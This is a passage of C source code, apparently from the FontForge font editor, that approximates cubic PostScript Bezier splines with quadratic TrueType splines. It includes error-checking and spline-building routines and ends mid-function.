* OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
* ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "pfaedit.h"
#include <math.h>
#include <unistd.h>
#include <time.h>
#include <locale.h>
#include <utype.h>
#include <ustring.h>
#include <chardata.h>
#ifdef HAVE_IEEEFP_H
# include <ieeefp.h> /* Solaris defines isnan in ieeefp rather than math.h */
#endif
/* This file contains utility routines for second order bezier splines */
/* (ie. truetype) */
/* The most interesting thing */
/* it does is to figure out a quadratic approximation to the cubic splines */
/* that postscript uses. We do this by looking at each spline and running */
/* from the end toward the beginning, checking approximately every emunit */
/* There is only one quadratic spline possible for any given interval of the */
/* cubic. The start and end points are the interval end points (obviously) */
/* the control point is where the two slopes (at start and end) intersect. */
/* If this spline is a close approximation to the cubic spline (doesn't */
/* deviate from it by more than an emunit or so), then we use this interval */
/* as one of our quadratic splines. */
/* It may turn out that the "quadratic" spline above is actually linear. Well */
/* that's ok. It may also turn out that we can't find a good approximation. */
/* If that's true then just insert a linear segment for an emunit stretch. */
/* (actually this failure mode may not be possible), but I'm not sure */
/* Then we play the same trick for the rest of the cubic spline (if any) */
/* Does the quadratic spline in ttf approximate the cubic spline in ps */
/* within one pixel between tmin and tmax (on ps. presumably ttf between 0&1 */
/* dim is the dimension in which there is the greatest change */
static int comparespline(Spline *ps, Spline *ttf, real tmin, real tmax, real err) {
int dim=0, other;
real dx, dy, ddim, dt, t;
real d, o;
real ttf_t, sq, val;
DBounds bb;
extended ts[3];
int i;
/* Are all points on ttf near points on ps? */
/* This doesn't answer that question, but rules out gross errors */
bb.minx = bb.maxx = ps->from->me.x; bb.miny = bb.maxy = ps->from->me.y;
if ( ps->from->nextcp.x>bb.maxx ) bb.maxx = ps->from->nextcp.x;
else bb.minx = ps->from->nextcp.x;
if ( ps->from->nextcp.y>bb.maxy ) bb.maxy = ps->from->nextcp.y;
else bb.miny = ps->from->nextcp.y;
if ( ps->to->prevcp.x>bb.maxx ) bb.maxx = ps->to->prevcp.x;
else if ( ps->to->prevcp.x<bb.minx ) bb.minx = ps->to->prevcp.x;
if ( ps->to->prevcp.y>bb.maxy ) bb.maxy = ps->to->prevcp.y;
else if ( ps->to->prevcp.y<bb.miny ) bb.miny = ps->to->prevcp.y;
if ( ps->to->me.x>bb.maxx ) bb.maxx = ps->to->me.x;
else if ( ps->to->me.x<bb.minx ) bb.minx = ps->to->me.x;
if ( ps->to->me.y>bb.maxy ) bb.maxy = ps->to->me.y;
else if ( ps->to->me.y<bb.miny ) bb.miny = ps->to->me.y;
for ( t=.1; t<1; t+= .1 ) {
d = (ttf->splines[0].b*t+ttf->splines[0].c)*t+ttf->splines[0].d;
o = (ttf->splines[1].b*t+ttf->splines[1].c)*t+ttf->splines[1].d;
if ( d<bb.minx || d>bb.maxx || o<bb.miny || o>bb.maxy )
return( false );
}
/* Are all points on ps near points on ttf? */
dx = ((ps->splines[0].a*tmax+ps->splines[0].b)*tmax+ps->splines[0].c)*tmax -
((ps->splines[0].a*tmin+ps->splines[0].b)*tmin+ps->splines[0].c)*tmin ;
dy = ((ps->splines[1].a*tmax+ps->splines[1].b)*tmax+ps->splines[1].c)*tmax -
((ps->splines[1].a*tmin+ps->splines[1].b)*tmin+ps->splines[1].c)*tmin ;
if ( dx<0 ) dx = -dx;
if ( dy<0 ) dy = -dy;
if ( dx>dy ) {
dim = 0;
ddim = dx;
} else {
dim = 1;
ddim = dy;
}
other = !dim;
t = tmin;
dt = (tmax-tmin)/ddim;
for ( t=tmin; t<=tmax; t+= dt ) {
if ( t>tmax-dt/8. ) t = tmax; /* Avoid rounding errors */
d = ((ps->splines[dim].a*t+ps->splines[dim].b)*t+ps->splines[dim].c)*t+ps->splines[dim].d;
o = ((ps->splines[other].a*t+ps->splines[other].b)*t+ps->splines[other].c)*t+ps->splines[other].d;
if ( ttf->splines[dim].b == 0 ) {
ttf_t = (d-ttf->splines[dim].d)/ttf->splines[dim].c;
} else {
sq = ttf->splines[dim].c*ttf->splines[dim].c -
4*ttf->splines[dim].b*(ttf->splines[dim].d-d);
if ( sq<0 )
return( false );
sq = sqrt(sq);
ttf_t = (-ttf->splines[dim].c-sq)/(2*ttf->splines[dim].b);
if ( ttf_t>=-0.1 && ttf_t<=1.1 ) { /* Optimizer gives us rounding errors */
/* And tmin/tmax are no longer exact */
val = (ttf->splines[other].b*ttf_t+ttf->splines[other].c)*ttf_t+
ttf->splines[other].d;
if ( val>o-err && val<o+err )
continue;
}
ttf_t = (-ttf->splines[dim].c+sq)/(2*ttf->splines[dim].b);
}
if ( ttf_t>=-0.1 && ttf_t<=1.1 ) {
val = (ttf->splines[other].b*ttf_t+ttf->splines[other].c)*ttf_t+
ttf->splines[other].d;
if ( val>o-err && val<o+err )
continue;
}
return( false );
}
/* Are representative points on ttf near points on ps? */
for ( t=.125; t<1; t+= .125 ) {
d = (ttf->splines[dim].b*t+ttf->splines[dim].c)*t+ttf->splines[dim].d;
o = (ttf->splines[other].b*t+ttf->splines[other].c)*t+ttf->splines[other].d;
SplineSolveFull(&ps->splines[dim],d,ts);
for ( i=0; i<3; ++i ) if ( ts[i]!=-1 ) {
val = ((ps->splines[other].a*ts[i]+ps->splines[other].b)*ts[i]+ps->splines[other].c)*ts[i]+ps->splines[other].d;
if ( val>o-err && val<o+err )
break;
}
if ( i==3 )
return( false );
}
return( true );
}
static SplinePoint *MakeQuadSpline(SplinePoint *start,Spline *ttf,real x,
real y, real tmax,SplinePoint *oldend) {
Spline *new = chunkalloc(sizeof(Spline));
SplinePoint *end = chunkalloc(sizeof(SplinePoint));
if ( tmax==1 ) {
end->roundx = oldend->roundx; end->roundy = oldend->roundy; end->dontinterpolate = oldend->dontinterpolate;
x = oldend->me.x; y = oldend->me.y; /* Want it to compare exactly */
}
end->ttfindex = 0xfffe;
end->nextcpindex = 0xfffe;
end->me.x = end->nextcp.x = x;
end->me.y = end->nextcp.y = y;
end->nonextcp = true;
*new = *ttf;
new->from = start; start->next = new;
new->to = end; end->prev = new;
if ( new->splines[0].b==0 && new->splines[1].b==0 ) {
end->noprevcp = true;
end->prevcp.x = x; end->prevcp.y = y;
new->islinear = new->knownlinear = true;
} else {
end->prevcp.x = start->nextcp.x = ttf->splines[0].c/2+ttf->splines[0].d;
end->prevcp.y = start->nextcp.y = ttf->splines[1].c/2+ttf->splines[1].d;
start->nonextcp = end->noprevcp = false;
new->isquadratic = true;
}
new->order2 = true;
return( end );
}
static int buildtestquads(Spline *ttf,real xmin,real ymin,real cx,real cy,
real x,real y,real tmin,real t,real err,Spline *ps, DBounds *psbb) {
real fudge, normal, para;
BasePoint segdir, cpdir;
/* test the control points are reasonable */
fudge = (psbb->maxx-psbb->minx) + (psbb->maxy-psbb->miny);
if ( cx<psbb->minx-fudge || cx>psbb->maxx+fudge )
return( false );
if ( cy<psbb->miny-fudge || cy>psbb->maxy+fudge )
return( false );
segdir.x = x-xmin; segdir.y = y-ymin;
cpdir.x = cx-xmin; cpdir.y = cy-ymin;
para = segdir.x*cpdir.x + segdir.y*cpdir.y;
if ( (normal = segdir.x*cpdir.y - segdir.y*cpdir.x)<0 )
normal=-normal;
if ( para<0 && -para >4*normal )
return( false );
cpdir.x = x-cx; cpdir.y = y-cy;
para = segdir.x*cpdir.x + segdir.y*cpdir.y;
if ( (normal = segdir.x*cpdir.y - segdir.y*cpdir.x)<0 )
normal=-normal;
if ( para<0 && -para >4*normal )
return( false );
ttf->splines[0].d = xmin;
ttf->splines[0].c = 2*(cx-xmin);
ttf->splines[0].b = xmin+x-2*cx;
ttf->splines[1].d = ymin;
ttf->splines[1].c = 2*(cy-ymin);
ttf->splines[1].b = ymin+y-2*cy;
if ( comparespline(ps,ttf,tmin,t,err) )
return( true );
#if 0
/* In a few cases, the following code will find a match when the above */
/* would not. We move the control point slightly along a vector normal */
/* to the vector between the end-points. What I really want is along */
/* a vector midway between the two slopes, but that's too hard to figure */
sq = sqrt((x-xmin)*(x-xmin) + (y-ymin)*(y-ymin));
norm.x = (ymin-y)/sq; norm.y = (x-xmin)/sq;
ttf->splines[0].c += err*norm.x;
ttf->splines[0].b -= err*norm.x;
ttf->splines[1].c += err*norm.y;
ttf->splines[1].b -= err*norm.y;
if ( comparespline(ps,ttf,tmin,t,err) )
return( true );
ttf->splines[0].c -= 2*err*norm.x;
ttf->splines[0].b += 2*err*norm.x;
ttf->splines[1].c -= 2*err*norm.y;
ttf->splines[1].b += 2*err*norm.y;
if ( comparespline(ps,ttf,tmin,t,err) )
return( true );
ttf->splines[0].c = 2*(cx-xmin);
ttf->splines[0].b = xmin+x-2*cx;
ttf->splines[1].c = 2*(cy-ymin);
ttf->splines[1].b = ymin+y-2*cy;
#endif
return( false );
}
static SplinePoint *LinearSpline(Spline *ps,SplinePoint *start, real tmax) {
real x,y;
Spline *new = chunkalloc(sizeof(Spline));
SplinePoint *end = chunkalloc(sizeof(SplinePoint));
x = ((ps->splines[0].a*tmax+ps->splines[0].b)*tmax+ps->splines[0].c)*tmax+ps->splines[0].d;
y = ((ps->splines[1].a*tmax+ps->splines[1].b)*tmax+ps->splines[1].c)*tmax+ps->splines[1].d;
if ( tmax==1 ) {
SplinePoint *oldend = ps->to;
end->roundx = oldend->roundx; end->roundy = oldend->roundy; end->dontinterpolate = oldend->dontinterpolate;
x = oldend->me.x; y = oldend->me.y; /* Want it to compare exactly */
}
end->ttfindex = 0xfffe;
end->nextcpindex = 0xfffe;
end->me.x = end->nextcp.x = end->prevcp.x = x;
end->me.y = end->nextcp.y = end->prevcp.y = y;
end->nonextcp = end->noprevcp = start->nonextcp = true;
new->from = start; start->next = new;
new->to = end; end->prev = new;
new->splines[0].d = start->me.x;
new->splines[0].c = (x-start->me.x);
new->splines[1].d = start->me.y;
new->splines[1].c = (y-start->me.y);
new->order2 = true;
new->islinear = new->knownlinear = true;
return( end );
}
static SplinePoint *_ttfapprox(Spline *ps,real tmin, real tmax, SplinePoint *start) {
int dim=0;
real dx, dy, ddim, dt, t, err;
real x,y, xmin, ymin;
real dxdtmin, dydtmin, dxdt, dydt;
SplinePoint *sp;
real cx, cy;
Spline ttf;
int cnt = -1, forceit, unforceable;
BasePoint end, rend, dend;
DBounds bb;
rend.x = ((ps->splines[0].a*tmax+ps->splines[0].b)*tmax+ps->splines[0].c)*tmax + ps->splines[0].d;
rend.y = ((ps->splines[1].a*tmax+ps->splines[1].b)*tmax+ps->splines[1].c)*tmax + ps->splines[1].d;
end.x = rint( rend.x );
end.y = rint( rend.y );
dend.x = (3*ps->splines[0].a*tmax+2*ps->splines[0].b)*tmax+ps->splines[0].c;
dend.y = (3*ps->splines[1].a*tmax+2*ps->splines[1].b)*tmax+ps->splines[1].c;
memset(&ttf,'\0',sizeof(ttf));
bb.minx = bb.maxx = ps->from->me.x;
if ( ps->from->nextcp.x > bb.maxx ) bb.maxx = ps->from->nextcp.x;
else if ( ps->from->nextcp.x < bb.minx ) bb.minx = ps->from->nextcp.x;
if ( ps->to->prevcp.x > bb.maxx ) bb.maxx = ps->to->prevcp.x;
else if ( ps->to->prevcp.x < bb.minx ) bb.minx = ps->to->prevcp.x;
if ( ps->to->me.x > bb.maxx ) bb.maxx = ps->to->me.x;
else if ( ps->to->me.x < bb.minx ) bb.minx = ps->to->me.x;
bb.miny = bb.maxy = ps->from->me.y;
if ( ps->from->nextcp.y > bb.maxy ) bb.maxy = ps->from->nextcp.y;
else if ( ps->from->nextcp.y < bb.miny ) bb.miny = ps->from->nextcp.y;
if ( ps->to->prevcp.y > bb.maxy ) bb.maxy = ps->to->prevcp.y;
else if ( ps->to->prevcp.y < bb.miny ) bb.miny = ps->to->prevcp.y;
if ( ps->to->me.y > bb.maxy ) bb.maxy = ps->to->me.y;
else if ( ps->to->me.y < bb.miny ) bb.miny = ps->to->me.y;
tail_recursion:
++cnt;
xmin = start->me.x;
ymin = start->me.y;
dxdtmin = (3*ps->splines[0].a*tmin+2*ps->splines[0].b)*tmin + ps->splines[0].c;
dydtmin = (3*ps->splines[1].a*tmin+2*ps->splines[1].b)*tmin + ps->splines[1].c;
dx = ((ps->splines[0].a*tmax+ps->splines[0].b)*tmax+ps->splines[0].c)*tmax -
((ps->splines[0].a*tmin+ps->splines[0].b)*tmin+ps->splines[0].c)*tmin ;
dy = ((ps->splines[1].a*tmax+ps->splines[1].b)*tmax+ps->splines[1].c)*tmax -
((ps->splines[1].a*tmin+ps->splines[1].b)*tmin+ps->splines[1].c)*tmin ;
if ( dx<0 ) dx = -dx;
if ( dy<0 ) dy = -dy;
if ( dx>dy ) {
dim = 0;
ddim = dx;
} else {
dim = 1;
ddim = dy;
}
if (( err = ddim/3000 )<1 ) err = 1;
if ( ddim<2 ||
(dend.x==0 && rint(start->me.x)==end.x && dy<=10 && cnt!=0) ||
(dend.y==0 && rint(start->me.y)==end.y && dx<=10 && cnt!=0) ) {
if ( cnt==0 || start->noprevcp )
return( LinearSpline(ps,start,tmax));
/* If the end point is very close to where we want to be, then just */
/* pretend it's right */
start->prev->splines[0].b += ps->to->me.x-start->me.x;
start->prev->splines[1].b += ps->to->me.y-start->me.y;
start->prevcp.x += rend.x-start->me.x;
start->prevcp.y += rend.y-start->me.y;
if ( start->prev!=NULL && !start->prev->from->nonextcp )
start->prev->from->nextcp = start->prevcp;
start->me = rend;
return( start );
}
dt = (tmax-tmin)/ddim;
forceit = false;
/* force_end: */
unforceable = false;
for ( t=tmax; t>tmin+dt/128; t-= dt ) { /* dt/128 is a hack to avoid rounding errors */
x = ((ps->splines[0].a*t+ps->splines[0].b)*t+ps->splines[0].c)*t+ps->splines[0].d;
y = ((ps->splines[1].a*t+ps->splines[1].b)*t+ps->splines[1].c)*t+ps->splines[1].d;
dxdt = (3*ps->splines[0].a*t+2*ps->splines[0].b)*t + ps->splines[0].c;
dydt = (3*ps->splines[1].a*t+2*ps->splines[1].b)*t + ps->splines[1].c;
/* if the slopes are parallel at the ends there can be no bezier quadratic */
/* (control point is where the splines intersect. But if they are */
/* parallel and colinear then there is a line between 'em */
if ( ( dxdtmin==0 && dxdt==0 ) || (dydtmin==0 && dydt==0) ||
( dxdt!=0 && dxdtmin!=0 &&
RealNearish(dydt/dxdt,dydtmin/dxdtmin)) )
continue;
if ( dxdt==0 )
cx=x;
else if ( dxdtmin==0 )
cx=xmin;
else
cx = -(ymin-(dydtmin/dxdtmin)*xmin-y+(dydt/dxdt)*x)/(dydtmin/dxdtmin-dydt/dxdt);
if ( dydt==0 )
cy=y;
else if ( dydtmin==0 )
cy=ymin;
else
cy = -(xmin-(dxdtmin/dydtmin)*ymin-x+(dxdt/dydt)*y)/(dxdtmin/dydtmin-dxdt/dydt);
if ( t==tmax && ((cy==y && cx==x) || (cy==ymin && cx==xmin)) )
unforceable = true;
/* Make the quadratic spline from (xmin,ymin) through (cx,cy) to (x,y)*/
if ( forceit || buildtestquads(&ttf,xmin,ymin,cx,cy,x,y,tmin,t,err,ps,&bb)) {
#if 0
if ( !forceit && !unforceable && (rend.x-x)*(rend.x-x)+(rend.y-y)*(rend.y-y)<4*4 ) {
forceit = true;
goto force_end;
}
#endif
sp = MakeQuadSpline(start,&ttf,x,y,t,ps->to);
forceit = false;
if ( t==tmax )
return( sp );
tmin = t;
start = sp;
goto tail_recursion;
}
ttf.splines[0].d = xmin;
ttf.splines[0].c = x-xmin;
ttf.splines[0].b = 0;
ttf.splines[1].d = ymin;
ttf.splines[1].c = y-ymin;
ttf.splines[1].b = 0;
if ( comparespline(ps,&ttf,tmin,t,err) ) {
sp = LinearSpline(ps,start,t);
if ( t==tmax )
return( sp );
tmin = t;
start = sp;
goto tail_recursion;
}
}
tmin += dt;
start = LinearSpline(ps,start,tmin);
goto tail_recursion;
}
static SplinePoint *__ttfApprox(Spline *ps,real tmin, real tmax, SplinePoint *start) {
extended inflect[2];
int i=0;
#if 1
SplinePoint *end;
Spline *s, *next;
end = _ttfapprox(ps,tmin,tmax,start);
if ( ps->knownlinear )
return( end );
for ( s=start->next; s!=NULL && !s->islinear; s=s->to->next );
if ( s==NULL )
return( end );
for ( s=start->next; s!=NULL ; s=next ) {
next = s->to->next;
SplinePointFree(s->to);
SplineFree(s);
}
#endif
/* Hmm. With my algorithem, checking for points of inflection actually makes */
/* things worse. It uses more points and the splines don't join as nicely */
/* However if we get a bad match (a line) in the normal approx, then check */
/* Err... I was computing POI incorrectly. Above statement might not be correct*/
/* no points of inflection in quad splines */
i = Spline2DFindPointsOfInflection(ps, inflect);
if ( i==2 ) {
if ( RealNearish(inflect[0],inflect[1]) )
--i;
else if ( inflect[0]>inflect[1] ) {
real temp = inflect[0];
inflect[0] = inflect[1];
inflect[1] = temp;
}
}
if ( i!=0 ) {
start = _ttfapprox(ps,tmin,inflect[0],start);
tmin = inflect[0];
if ( i==2 ) {
start = _ttfapprox(ps,tmin,inflect[1],start);
tmin = inflect[1];
}
}
return( _ttfapprox(ps,tmin,tmax,start));
}
#if !defined(FONTFORGE_CONFIG_NON_SYMMETRIC_QUADRATIC_CONVERSION)
typedef struct qpoint {
BasePoint bp;
BasePoint cp;
double t;
} QPoint;
static int comparedata(Spline *ps,QPoint *data,int qfirst,int qlast,
int round_to_int, int test_level ) {
Spline ttf;
int i;
double err = round_to_int ? 1.5 : 1;
if ( qfirst==qlast ) /* happened (was a bug) */
return( false );
err *= (test_level+1);
/* Control points diametrically opposed */
if ( (data[qlast-2].cp.x-ps->to->me.x)*(ps->to->prevcp.x-ps->to->me.x) +
(data[qlast-2].cp.y-ps->to->me.y)*(ps->to->prevcp.y-ps->to->me.y)<0 )
return( false );
if ( (data[qfirst-1].cp.x-ps->from->me.x)*(ps->from->nextcp.x-ps->from->me.x) +
(data[qfirst-1].cp.y-ps->from->me.y)*(ps->from->nextcp.y-ps->from->me.y)<0 )
return( false );
memset(&ttf,0,sizeof(ttf));
for ( i=qfirst; i<qlast; ++i ) {
ttf.splines[0].d = data[i-1].bp.x;
ttf.splines[0].c = 2*(data[i-1].cp.x-data[i-1].bp.x);
ttf.splines[0].b = data[i-1].bp.x+data[i].bp.x-2*data[i-1].cp.x;
ttf.splines[1].d = data[i-1].bp.y;
ttf.splines[1].c = 2*(data[i-1].cp.y-data[i-1].bp.y);
ttf.splines[1].b = data[i-1].bp.y+data[i].bp.y-2*data[i-1].cp.y;
if ( !comparespline(ps,&ttf,data[i-1].t,data[i].t,err) )
return( false );
}
return( true );
}
static SplinePoint *CvtDataToSplines(QPoint *data,int qfirst,int qlast,SplinePoint *start) {
SplinePoint *end;
int i;
for ( i=qfirst; i<qlast; ++i ) {
end = SplinePointCreate(data[i].bp.x,data[i].bp.y);
start->nextcp = end->prevcp = data[i-1].cp;
start->nonextcp = end->noprevcp = false;
if (( data[i-1].cp.x == data[i].bp.x && data[i-1].cp.y == data[i].bp.y ) ||
( data[i-1].cp.x == start->me.x && data[i-1].cp.y == start->me.y ))
start->nonextcp = end->noprevcp = true;
SplineMake2(start,end);
start = end;
}
return( start );
}
static int SplineWithWellBehavedControlPoints(Spline *ps) {
BasePoint splineunit;
double splinelen, npos, ppos;
splineunit.x = ps->to->me.x - ps->from->me.x;
splineunit.y = ps->to->me.y - ps->from->me.y;
splinelen = sqrt(splineunit.x*splineunit.x + splineunit.y*splineunit.y);
if ( splinelen!=0 ) {
splineunit.x /= splinelen;
splineunit.y /= splinelen;
}
npos = (ps->from->nextcp.x-ps->from->me.x) * splineunit.x +
(ps->from->nextcp.y-ps->from->me.y) * splineunit.y;
ppos = (ps->to->prevcp.x-ps->from->me.x) * splineunit.x +
(ps->to->prevcp.y-ps->from->me.y) * splineunit.y;
return( npos>=0 && /* npos<=ppos &&*/ ppos<=splinelen );
}
static int PrettyApprox(Spline *ps,double tmin, double tmax,
QPoint *data, int qcnt, int round_to_int, int test_level ) {
int ptcnt, q, i;
double distance, dx, dy, tstart;
BasePoint end, mid, slopemin, slopemid, slopeend;
BasePoint splineunit, start;
double splinelen, midpos, lastpos, lastpos2, cppos;
int do_good_spline_check;
QPoint data2[12];
if ( qcnt==-1 )
return( -1 );
slopemin.x = (3*ps->splines[0].a*tmin+2*ps->splines[0].b)*tmin+ps->splines[0].c;
slopemin.y = (3*ps->splines[1].a*tmin+2*ps->splines[1].b)*tmin+ps->splines[1].c;
if ( slopemin.x==0 && slopemin.y==0 ) {
double t = tmin + (tmax-tmin)/256;
/* If there is no control point for this end point, then the slope is */
/* 0/0 at the end point. Which isn't useful, it leads to a quadratic */
/* control point at the end point, but this one is real because it */
/* is used to interpolate the next point, but we get all confused */
/* because we don't expect a real cp to be on the base point. */
slopemin.x = (3*ps->splines[0].a*t+2*ps->splines[0].b)*t+ps->splines[0].c;
slopemin.y = (3*ps->splines[1].a*t+2*ps->splines[1].b)*t+ps->splines[1].c;
}
end.x = ((ps->splines[0].a*tmax+ps->splines[0].b)*tmax+ps->splines[0].c)*tmax+ps->splines[0].d;
end.y = ((ps->splines[1].a*tmax+ps->splines[1].b)*tmax+ps->splines[1].c)*tmax+ps->splines[1].d;
slopeend.x = (3*ps->splines[0].a*tmax+2*ps->splines[0].b)*tmax+ps->splines[0].c;
slopeend.y = (3*ps->splines[1].a*tmax+2*ps->splines[1].b)*tmax+ps->splines[1].c;
if ( slopemin.x==0 && slopemin.y==0 ) {
double t = tmax - (tmax-tmin)/256;
/* Same problem as above, except at the other end */
slopeend.x = (3*ps->splines[0].a*t+2*ps->splines[0].b)*t+ps->splines[0].c;
slopeend.y = (3*ps->splines[1].a*t+2*ps->splines[1].b)*t+ps->splines[1].c;
}
start.x = data[qcnt-1].bp.x;
start.y = data[qcnt-1].bp.y;
splineunit.x = end.x - start.x;
splineunit.y = end.y - start.y;
splinelen = sqrt(splineunit.x*splineunit.x + splineunit.y*splineunit.y);
if ( splinelen!=0 ) {
splineunit.x /= splinelen;
splineunit.y /= splinelen;
}
do_good_spline_check = SplineWithWellBehavedControlPoints(ps);
if ( round_to_int && tmax!=1 ) {
end.x = rint( end.x );
end.y = rint( end.y );
}
dx = end.x-data[qcnt-1].bp.x; dy = end.y-data[qcnt-1].bp.y;
distance = dx*dx + dy*dy;
if ( distance<.3 ) {
/* This is meaningless in truetype, use a line */
data[qcnt-1].cp = data[qcnt-1].bp;
data[qcnt].bp = end;
data[qcnt].t = 1;
return( qcnt+1 );
}
for ( ptcnt=0; ptcnt<10; ++ptcnt ) {
if ( ptcnt>1 && distance/(ptcnt*ptcnt)<16 )
return( -1 ); /* Points too close for a good approx */
q = qcnt;
data2[ptcnt+1].bp = end;
lastpos=0; lastpos2 = splinelen;
for ( i=0; i<=ptcnt; ++i ) {
tstart = (tmin*(ptcnt-i) + tmax*(i+1))/(ptcnt+1);
mid.x = ((ps->splines[0].a*tstart+ps->splines[0].b)*tstart+ps->splines[0].c)*tstart+ps->splines[0].d;
mid.y = ((ps->splines[1].a*tstart+ps->splines[1].b)*tstart+ps->splines[1].c)*tstart+ps->splines[1].d;
if ( i==0 ) {
slopemid.x = (3*ps->splines[0].a*tstart+2*ps->splines[0].b)*tstart+ps->splines[0].c;
slopemid.y = (3*ps->splines[1].a*tstart+2*ps->splines[1].b)*tstart+ps->splines[1].c;
if ( slopemid.x==0 )
data[q-1].cp.x=mid.x;
else if ( slopemin.x==0 )
data[q-1].cp.x=data[q-1].bp.x;
else if ( RealNear(slopemin.y/slopemin.x,slopemid.y/slopemid.x) )
break;
else
data[q-1].cp.x = -(data[q-1].bp.y-(slopemin.y/slopemin.x)*data[q-1].bp.x-mid.y+(slopemid.y/slopemid.x)*mid.x)/(slopemin.y/slopemin.x-slopemid.y/slopemid.x);
if ( slopemid.y==0 )
data[q-1].cp.y=mid.y;
else if ( slopemin.y==0 )
data[q-1].cp.y=data[q-1].bp.y;
else if ( RealNear(slopemin.x/slopemin.y,slopemid.x/slopemid.y) )
break;
else
data[q-1].cp.y = -(data[q-1].bp.x-(slopemin.x/slopemin.y)*data[q-1].bp.y-mid.x+(slopemid.x/slopemid.y)*mid.y)/(slopemin.x/slopemin.y-slopemid.x/slopemid.y);
} else {
data[q-1].cp.x = 2*data[q-1].bp.x - data[q-2].cp.x;
data[q-1].cp.y = 2*data[q-1].bp.y - data[q-2].cp.y;
}
midpos = (mid.x-start.x)*splineunit.x + (mid.y-start.y)*splineunit.y;
cppos = (data[q-1].cp.x-start.x)*splineunit.x + (data[q-1].cp.y-start.y)*splineunit.y;
if ( ((do_good_spline_check || i!=0 ) && cppos<lastpos) || cppos>midpos ) {
i = 0; /* Means we failed */
break;
}
lastpos = midpos;
data[q].bp = mid;
data[q++].t = tstart;
tstart = (tmax*(ptcnt-i) + tmin*(i+1))/(ptcnt+1);
mid.x = ((ps->splines[0].a*tstart+ps->splines[0].b)*tstart+ps->splines[0].c)*tstart+ps->splines[0].d;
mid.y = ((ps->splines[1].a*tstart+ps->splines[1].b)*tstart+ps->splines[1].c)*tstart+ps->splines[1].d;
if ( i==0 ) {
slopemid.x = (3*ps->splines[0].a*tstart+2*ps->splines[0].b)*tstart+ps->splines[0].c;
slopemid.y = (3*ps->splines[1].a*tstart+2*ps->splines[1].b)*tstart+ps->splines[1].c;
if ( slopemid.x==0 )
data2[ptcnt-i].cp.x=mid.x;
else if ( slopeend.x==0 )
data2[ptcnt-i].cp.x=data2[ptcnt-i+1].bp.x;
else if ( RealNear(slopeend.y/slopeend.x,slopemid.y/slopemid.x) )
break;
else
data2[ptcnt-i].cp.x = -(data2[ptcnt-i+1].bp.y-(slopeend.y/slopeend.x)*data2[ptcnt-i+1].bp.x-mid.y+(slopemid.y/slopemid.x)*mid.x)/(slopeend.y/slopeend.x-slopemid.y/slopemid.x);
if ( slopemid.y==0 )
data2[ptcnt-i].cp.y=mid.y;
else if ( slopeend.y==0 )
data2[ptcnt-i].cp.y=data2[ptcnt-i+1].bp.y;
else if ( RealNear(slopeend.x/slopeend.y,slopemid.x/slopemid.y) )
break;
else
data2[ptcnt-i].cp.y = -(data2[ptcnt-i+1].bp.x-(slopeend.x/slopeend.y)*data2[ptcnt-i+1].bp.y-mid.x+(slopemid.x/slopemid.y)*mid.y)/(slopeend.x/slopeend.y-slopemid.x/slopemid.y);
} else {
data2[ptcnt-i].cp.x = 2*data2[ptcnt-i+1].bp.x - data2[ptcnt-i+1].cp.x;
data2[ptcnt-i].cp.y = 2*data2[ptcnt-i+1].bp.y - data2[ptcnt-i+1].cp.y;
}
data2[ptcnt-i].bp = mid;
midpos = (mid.x-start.x)*splineunit.x + (mid.y-start.y)*splineunit.y;
cppos = (data2[ptcnt-i].cp.x-start.x)*splineunit.x + (data2[ptcnt-i].cp.y-start.y)*splineunit.y;
if ( ((do_good_spline_check || i!=0 ) && cppos>lastpos2) || cppos<midpos ) {
i = 0; /* Means we failed */
break;
}
lastpos2 = midpos;
}
if ( i==0 )
continue;
if ( (data2[ptcnt+1].bp.x-data2[ptcnt].bp.x)*(data2[ptcnt].cp.x-data2[ptcnt].bp.x)<0 ||
(data2[ptcnt+1].bp.y-data2[ptcnt].bp.y)*(data2[ptcnt].cp.y-data2[ptcnt].bp.y)<0 ) {
/* data2 are bad ... don't use them */;
} else if ( (data[qcnt-1].bp.x-data[qcnt].bp.x)*(data[qcnt-1].cp.x-data[qcnt].bp.x)<0 ||
(data[qcnt-1].bp.y-data[qcnt].bp.y)*(data[qcnt-1].cp.y-data[qcnt].bp.y)<0 ) {
/* data are bad */;
for ( i=0; i<=ptcnt; ++i ) {
data[qcnt+i-1].cp = data2[i].cp;
data[qcnt+i-1].bp = data2[i].bp;
}
} else {
for ( i=0; i<=ptcnt; ++i ) {
if ( ptcnt!=0 ) {
data[qcnt+i-1].cp.x = (data[qcnt+i-1].cp.x*(ptcnt-i) + data2[i].cp.x*i)/ptcnt;
data[qcnt+i-1].cp.y = (data[qcnt+i-1].cp.y*(ptcnt-i) + data2[i].cp.y*i)/ptcnt;
}
}
}
if ( round_to_int ) {
for ( i=0; i<=ptcnt; ++i ) {
data[qcnt+i-1].cp.x = rint( data[qcnt+i-1].cp.x );
data[qcnt+i-1].cp.y = rint( data[qcnt+i-1].cp.y );
}
}
for ( i=0; i<ptcnt; ++i ) {
data[qcnt+i].bp.x = (data[qcnt+i].cp.x + data[qcnt+i-1].cp.x)/2;
data[qcnt+i].bp.y = (data[qcnt+i].cp.y + data[qcnt+i-1].cp.y)/2;
}
if ( comparedata(ps,data,qcnt,q,round_to_int,test_level))
return( q );
}
return( -1 );
}
#endif
static SplinePoint *AlreadyQuadraticCheck(Spline *ps, SplinePoint *start) {
SplinePoint *sp;
if ( (RealNearish(ps->splines[0].a,0) && RealNearish(ps->splines[1].a,0)) ||
((ps->splines[0].b!=0 && RealNearish(ps->splines[0].a/ps->splines[0].b,0)) &&
(ps->splines[1].b!=0 && RealNearish(ps->splines[1].a/ps->splines[1].b,0))) ) {
/* Already Quadratic, just need to find the control point */
/* Or linear, in which case we don't need to do much of anything */
Spline *spline;
sp = chunkalloc(sizeof(SplinePoint));
sp->me.x = ps->to->me.x; sp->me.y = ps->to->me.y;
sp->roundx = ps->to->roundx; sp->roundy = ps->to->roundy; sp->dontinterpolate = ps->to->dontinterpolate;
sp->ttfindex = 0xfffe;
sp->nextcpindex = 0xfffe;
sp->nonextcp = true;
spline = chunkalloc(sizeof(Spline));
spline->order2 = true;
spline->from = start;
spline->to = sp;
spline->splines[0] = ps->splines[0]; spline->splines[1] = ps->splines[1];
start->next = sp->prev = spline;
if ( ps->knownlinear ) {
spline->islinear = spline->knownlinear = true;
start->nonextcp = sp->noprevcp = true;
start->nextcp = start->me;
sp->prevcp = sp->me;
} else {
start->nonextcp = sp->noprevcp = false;
start->nextcp.x = sp->prevcp.x = (ps->splines[0].c+2*ps->splines[0].d)/2;
